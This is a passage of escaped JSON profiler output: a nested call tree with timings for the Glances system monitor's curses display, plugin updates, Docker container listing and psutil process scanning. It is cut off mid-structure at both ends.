0.0020483259941102006},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002048,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001955,\"attributes\": {},\"children\": []},{\"identifier\": \"get_process_curses_data\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000520\",\"time\": 0.019995,\"attributes\": {\"cProcesslistPlugin\": 0.019995085000118706, \"l539\": 0.0019964930033893324, \"l538\": 0.013999274997331668, \"l541\": 0.001999462998355739, \"l544\": 0.0019998540010419674},\"children\": [{\"identifier\": \"isinstance\\u0000<built-in>\\u00000\",\"time\": 0.001996,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001996,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.003999,\"attributes\": {\"cProcesslistPlugin\": 0.003999396001745481, \"l309\": 0.003999396001745481},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020001080047222786, \"l856\": 0.0020001080047222786},\"children\": [{\"identifier\": \"get_limit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000955\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020001080047222786, \"l963\": 0.0020001080047222786},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_status\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000435\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.0020005400001537055, \"l440\": 0.0020005400001537055},\"children\": [{\"identifier\": \"get_status_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000287\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.0020005400001537055, \"l294\": 0.0020005400001537055},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"list.append\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_pid\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000364\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020001939992653206, \"l367\": 0.0020001939992653206},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020000899967271835, \"l309\": 0.0020000899967271835},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020000899967271835, \"l855\": 0.0020000899967271835},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.001999186002649367, \"l325\": 0.001999186002649367},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.001999186002649367, \"l882\": 0.001999186002649367},\"children\": [{\"identifier\": \"manage_threshold\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000900\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.001999186002649367, \"l902\": 0.001999186002649367},\"children\": [{\"identifier\": \"add\\u0000/home/nicolargo/dev/glances/glances/thresholds.py\\u000042\",\"time\": 0.001999,\"attributes\": {\"cGlancesThresholds\": 0.001999186002649367, \"l47\": 0.001999186002649367},\"children\": [{\"identifier\": \"getattr\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"__display_right\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000826\",\"time\": 0.002002,\"attributes\": {\"cGlancesCursesStandalone\": 0.00200185900030192, \"l861\": 0.00200185900030192},\"children\": [{\"identifier\": \"display_plugin\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001062\",\"time\": 0.002002,\"attributes\": {\"cGlancesCursesStandalone\": 0.00200185900030192, \"l1094\": 0.00200185900030192},\"children\": [{\"identifier\": \"display_stats\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001027\",\"time\": 0.002002,\"attributes\": {\"cGlancesCursesStandalone\": 0.00200185900030192, \"l1054\": 0.00200185900030192},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.101892,\"attributes\": {\"cGlancesCursesStandalone\": 0.10189225200156216, \"l291\": 0.10189225200156216},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.101892,\"attributes\": {\"cGlancesCursesStandalone\": 0.10189225200156216, \"l260\": 0.10189225200156216},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.101892,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.101892,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100228,\"attributes\": {\"cGlancesCursesStandalone\": 0.10022802599996794, \"l1202\": 0.10022802599996794},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100228,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100228,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100389,\"attributes\": {\"cGlancesCursesStandalone\": 0.1003893369997968, \"l291\": 0.1003893369997968},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100389,\"attributes\": {\"cGlancesCursesStandalone\": 0.1003893369997968, \"l260\": 0.1003893369997968},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100389,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100389,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100550,\"attributes\": {\"cGlancesCursesStandalone\": 0.10054988100455375, \"l1202\": 0.10054988100455375},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100550,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100550,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100831,\"attributes\": {\"cGlancesCursesStandalone\": 0.1008310769975651, \"l291\": 0.1008310769975651},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100831,\"attributes\": {\"cGlancesCursesStandalone\": 0.1008310769975651, \"l260\": 0.1008310769975651},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100831,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100831,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100532,\"attributes\": {\"cGlancesCursesStandalone\": 0.10053247700125212, \"l1202\": 0.10053247700125212},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100532,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100532,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100549,\"attributes\": {\"cGlancesCursesStandalone\": 0.10054932400089456, \"l291\": 0.10054932400089456},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100549,\"attributes\": {\"cGlancesCursesStandalone\": 0.10054932400089456, \"l260\": 0.10054932400089456},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100549,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100549,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100526,\"attributes\": {\"cGlancesCursesStandalone\": 0.10052578099566745, \"l1202\": 0.10052578099566745},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100526,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100526,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100552,\"attributes\": {\"cGlancesCursesStandalone\": 0.10055190400453284, \"l291\": 0.10055190400453284},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100552,\"attributes\": {\"cGlancesCursesStandalone\": 0.10055190400453284, \"l260\": 0.10055190400453284},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100552,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100552,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100284,\"attributes\": {\"cGlancesCursesStandalone\": 0.10028381799929775, \"l1202\": 0.10028381799929775},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100284,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100284,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100515,\"attributes\": {\"cGlancesCursesStandalone\": 0.10051501399721019, \"l291\": 0.10051501399721019},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100515,\"attributes\": {\"cGlancesCursesStandalone\": 0.10051501399721019, \"l260\": 0.10051501399721019},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100515,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100515,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100353,\"attributes\": {\"cGlancesCursesStandalone\": 0.10035287200298626, \"l1202\": 0.10035287200298626},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100353,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100353,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100407,\"attributes\": {\"cGlancesCursesStandalone\": 0.10040743699937593, \"l291\": 0.10040743699937593},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100407,\"attributes\": {\"cGlancesCursesStandalone\": 0.10040743699937593, \"l260\": 0.10040743699937593},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100407,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100407,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100478,\"attributes\": {\"cGlancesCursesStandalone\": 0.10047832899726927, \"l1202\": 0.10047832899726927},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100478,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100478,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100449,\"attributes\": {\"cGlancesCursesStandalone\": 0.10044867100077681, \"l291\": 0.10044867100077681},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100449,\"attributes\": {\"cGlancesCursesStandalone\": 0.10044867100077681, \"l260\": 0.10044867100077681},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100449,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100449,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100345,\"attributes\": {\"cGlancesCursesStandalone\": 0.10034469100355636, \"l1202\": 0.10034469100355636},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100345,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100345,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100573,\"attributes\": {\"cGlancesCursesStandalone\": 0.10057307799434057, \"l291\": 0.10057307799434057},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100573,\"attributes\": {\"cGlancesCursesStandalone\": 0.10057307799434057, \"l260\": 0.10057307799434057},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100573,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100573,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100579,\"attributes\": {\"cGlancesCursesStandalone\": 0.10057891099859262, \"l1202\": 0.10057891099859262},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100579,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100579,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100406,\"attributes\": {\"cGlancesCursesStandalone\": 0.10040624200337334, \"l291\": 0.10040624200337334},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100406,\"attributes\": {\"cGlancesCursesStandalone\": 0.10040624200337334, \"l260\": 0.10040624200337334},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100406,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100406,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100541,\"attributes\": {\"cGlancesCursesStandalone\": 0.1005411730002379, \"l1202\": 0.1005411730002379},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100541,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100541,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000278\",\"time\": 0.113108,\"attributes\": {\"cGlancesStats\": 0.11310796200268669, \"l287\": 0.11310796200268669},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000573\",\"time\": 0.113108,\"attributes\": {\"cGlancesStats\": 0.11310796200268669, \"l575\": 0.11310796200268669},\"children\": [{\"identifier\": \"_func\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000568\",\"time\": 0.113108,\"attributes\": {\"l571\": 0.11310796200268669},\"children\": [{\"identifier\": \"update_plugin\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000271\",\"time\": 0.113108,\"attributes\": {\"cGlancesStats\": 0.11310796200268669, \"l274\": 0.08957997800462181, \"l275\": 0.023527983998064883},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.003106,\"attributes\": {\"cDiskioPlugin\": 0.0031061269983183593, \"l1278\": 0.0031061269983183593},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.003106,\"attributes\": {\"l1295\": 0.0031061269983183593},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000108\",\"time\": 0.003106,\"attributes\": {\"cDiskioPlugin\": 0.0031061269983183593, \"l114\": 0.0031061269983183593},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001349\",\"time\": 0.003106,\"attributes\": {\"cDiskioPlugin\": 0.0031061269983183593, \"l1351\": 0.0031061269983183593},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000143\",\"time\": 0.003106,\"attributes\": {\"cDiskioPlugin\": 0.0031061269983183593, \"l148\": 0.0010448910034028813, \"l158\": 0.002061235994915478},\"children\": [{\"identifier\": \"disk_io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00002096\",\"time\": 0.001045,\"attributes\": {\"l2129\": 0.0010448910034028813},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001045,\"attributes\": {},\"children\": []}]},{\"identifier\": \"is_display\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001054\",\"time\": 0.002061,\"attributes\": {\"cDiskioPlugin\": 0.002061235994915478, \"l1058\": 0.002061235994915478},\"children\": [{\"identifier\": \"is_hide\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001039\",\"time\": 0.002061,\"attributes\": {\"cDiskioPlugin\": 0.002061235994915478, \"l1048\": 0.002061235994915478},\"children\": [{\"identifier\": \"<genexpr>\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001048\",\"time\": 0.002061,\"attributes\": {\"l1049\": 0.002061235994915478},\"children\": [{\"identifier\": \"fullmatch\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/__init__.py\\u0000169\",\"time\": 0.002061,\"attributes\": {\"l172\": 0.002061235994915478},\"children\": [{\"identifier\": \"_compile\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/__init__.py\\u0000330\",\"time\": 0.002061,\"attributes\": {\"l333\": 0.002061235994915478},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002061,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000179\",\"time\": 0.001988,\"attributes\": {\"cDiskioPlugin\": 0.001987775001907721, \"l206\": 0.001987775001907721},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001988,\"attributes\": {\"cDiskioPlugin\": 0.001987775001907721, \"l885\": 0.001987775001907721},\"children\": [{\"identifier\": \"manage_action\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000904\",\"time\": 0.001988,\"attributes\": {\"cDiskioPlugin\": 0.001987775001907721, \"l910\": 0.001987775001907721},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001988,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.065926,\"attributes\": {\"cContainersPlugin\": 0.0019272569988970645, \"l1278\": 0.06592566500330577, \"cProcesscountPlugin\": 0.0639984080044087},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.065926,\"attributes\": {\"l1295\": 0.06592566500330577},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000230\",\"time\": 0.001927,\"attributes\": {\"cContainersPlugin\": 0.0019272569988970645, \"l252\": 0.0019272569988970645},\"children\": [{\"identifier\": \"<genexpr>\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000253\",\"time\": 0.001927,\"attributes\": {\"l256\": 0.0019272569988970645},\"children\": [{\"identifier\": \"get_containers_from_updated_watcher\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000247\",\"time\": 0.001927,\"attributes\": {\"l248\": 0.0019272569988970645},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/engines/docker.py\\u0000248\",\"time\": 0.001927,\"attributes\": {\"cDockerExtension\": 0.0019272569988970645, \"l260\": 0.0019272569988970645},\"children\": [{\"identifier\": \"list\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/models/containers.py\\u0000957\",\"time\": 0.001927,\"attributes\": {\"cContainerCollection\": 0.0019272569988970645, \"l1009\": 0.0019272569988970645},\"children\": [{\"identifier\": \"containers\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/container.py\\u0000152\",\"time\": 0.001927,\"attributes\": {\"cAPIClient\": 0.0019272569988970645, \"l212\": 0.0019272569988970645},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/utils/decorators.py\\u000038\",\"time\": 0.001927,\"attributes\": {\"cAPIClient\": 0.0019272569988970645, \"l44\": 0.0019272569988970645},\"children\": [{\"identifier\": \"_get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/client.py\\u0000244\",\"time\": 0.001927,\"attributes\": {\"cAPIClient\": 0.0019272569988970645, \"l246\": 0.0019272569988970645},\"children\": [{\"identifier\": \"get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000593\",\"time\": 0.001927,\"attributes\": {\"cAPIClient\": 0.0019272569988970645, \"l602\": 0.0019272569988970645},\"children\": [{\"identifier\": \"request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000500\",\"time\": 0.001927,\"attributes\": {\"cAPIClient\": 0.0019272569988970645, \"l589\": 0.0019272569988970645},\"children\": [{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000673\",\"time\": 0.001927,\"attributes\": {\"cAPIClient\": 0.0019272569988970645, \"l703\": 0.0019272569988970645},\"children\": [{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/adapters.py\\u0000590\",\"time\": 0.001927,\"attributes\": {\"cUnixHTTPAdapter\": 0.0019272569988970645, \"l644\": 0.0019272569988970645},\"children\": [{\"identifier\": \"urlopen\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000592\",\"time\": 0.001927,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.0019272569988970645, \"l787\": 0.0019272569988970645},\"children\": [{\"identifier\": \"_make_request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000377\",\"time\": 0.001927,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.0019272569988970645, \"l520\": 0.0019272569988970645},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001927,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/processcount/__init__.py\\u000077\",\"time\": 0.063998,\"attributes\": {\"cProcesscountPlugin\": 0.0639984080044087, \"l85\": 0.0639984080044087},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000591\",\"time\": 0.063998,\"attributes\": {\"cGlancesProcesses\": 0.0639984080044087, \"l617\": 0.05799923599988688, \"l634\": 0.001999031002924312, \"l659\": 0.0040001410015975125},\"children\": [{\"identifier\": \"build_process_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000476\",\"time\": 0.057999,\"attributes\": {\"cGlancesProcesses\": 0.05799923599988688, \"l478\": 0.04999807899730513, \"l493\": 0.008001157002581749},\"children\": [{\"identifier\": \"process_iter\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001512\",\"time\": 0.049998,\"attributes\": {\"l1541\": 0.0028200550004839897, \"l1558\": 0.04717802399682114},\"children\": [{\"identifier\": \"pids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001482\",\"time\": 0.002820,\"attributes\": {\"l1485\": 0.0028200550004839897},\"children\": [{\"identifier\": \"pids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001523\",\"time\": 0.002820,\"attributes\": {\"l1526\": 0.0028200550004839897},\"children\": [{\"identifier\": \"listdir\\u0000<built-in>\\u00000\",\"time\": 0.002820,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002820,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"as_dict\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000545\",\"time\": 0.047178,\"attributes\": {\"cProcess\": 0.04717802399682114, \"l579\": 0.03318521201435942, \"l572\": 0.009992716986744199, \"l578\": 0.004000094995717518},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.001197,\"attributes\": {\"cProcess\": 0.0011974799999734387, \"l687\": 0.0011974799999734387},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.001197,\"attributes\": {\"cProcess\": 0.0011974799999734387, \"l748\": 0.0011974799999734387},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001197,\"attributes\": {\"cProcess\": 0.0011974799999734387, \"l1593\": 0.0011974799999734387},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.001197,\"attributes\": {\"cProcess\": 0.0011974799999734387, \"l1750\": 0.0011974799999734387},\"children\": [{\"identifier\": \"open_text\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000685\",\"time\": 0.001197,\"attributes\": {\"l692\": 0.0011974799999734387},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001197,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"__enter__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000136\",\"time\": 0.001984,\"attributes\": {\"c_GeneratorContextManager\": 0.0019838079970213585, \"l141\": 0.0019838079970213585},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.001984,\"attributes\": {\"cProcess\": 0.0019838079970213585, \"l505\": 0.0019838079970213585},\"children\": [{\"identifier\": \"RLock.__enter__\\u0000<built-in>\\u00000\",\"time\": 0.001984,\"attributes\": 